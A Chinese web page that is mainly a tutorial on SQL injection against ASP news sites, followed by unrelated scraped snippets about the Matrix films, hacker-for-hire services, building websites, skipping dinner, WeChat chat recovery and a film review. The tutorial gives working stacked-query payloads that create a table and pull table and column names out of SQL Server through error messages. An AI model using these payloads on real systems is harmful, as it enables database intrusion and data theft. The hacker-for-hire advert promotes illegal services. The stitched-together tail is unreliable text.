大家在是否碰到过这样的站点:
全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。
我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。
攻击 *** :
查看源文件/看里面是否有通过 *** 来调用的页面。
如调用来更新文章的浏览次数。
我们就可以这样来试一下可否注入:
http://服务器域名/count.asp?id=1552’
看一下是否出错。如出错说明有注入漏洞。然后正常攻击。
在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)
post.htm内容:主要是方便输入。
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条记录:id=1552;insert into aaa values(’test’);--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
这是将之一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。
读出之一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
本文导读目录: 1、《黑客帝国》中,Smith为何复活? 2、黑客帝国2中 尼奥如果进了通往代码之源的门他真的就可以拯救锡安了嘛? 3、骇客帝国1中尼奥为什么死了又复活了 4、《黑客帝国》...
一、案件黑客接单流程 1、vs支付宝哪一期黑客专业接单一般多少钱接单作为一名黑客,爱国主义总是排在第一位。这是黑客守则的第一件事。案件世界第一人国内黑客已成为产业链。专业接单一般多少钱案件XXX黑客接...
本文目录一览: 1、如何申请自己的的免费的网址、建立自己的的免费的网站? 2、自己怎么建立个网站 3、自己搞一个官方网站需要怎么做 4、怎么创建一个自己的网站 如何申请自己的的免费的网址...
长期性晚饭不吃的人,对人体的危害较为大,并且实际上并不可以做到减肥瘦身的实际效果,很多人表明,晚饭不吃,胃坏掉,那麼,长期性晚饭不吃的人会如何?真正情况是哪些的?下边我就而言说。 长期性晚饭不吃的人...
手机微信能查出和谁常常闲聊吗 许多盆友亲自相信自己,想要知道微信恢复微信聊天记录的方式,编写也了解手机微信的微信聊天记录对许多盆友而言是很重要的,可是很多人不清楚怎样一不小心地删掉,如何恢复,随后...
这是一部无聊的经典之作。当人们再看一遍的时候,它会让人发笑。影戏中的喜剧至少有两个条理,一个是它存心制造的笑话,另一个是让观众在没有笑话的时候享受它。这种魂不守舍的风趣给美国喜剧带来了一种很是安静...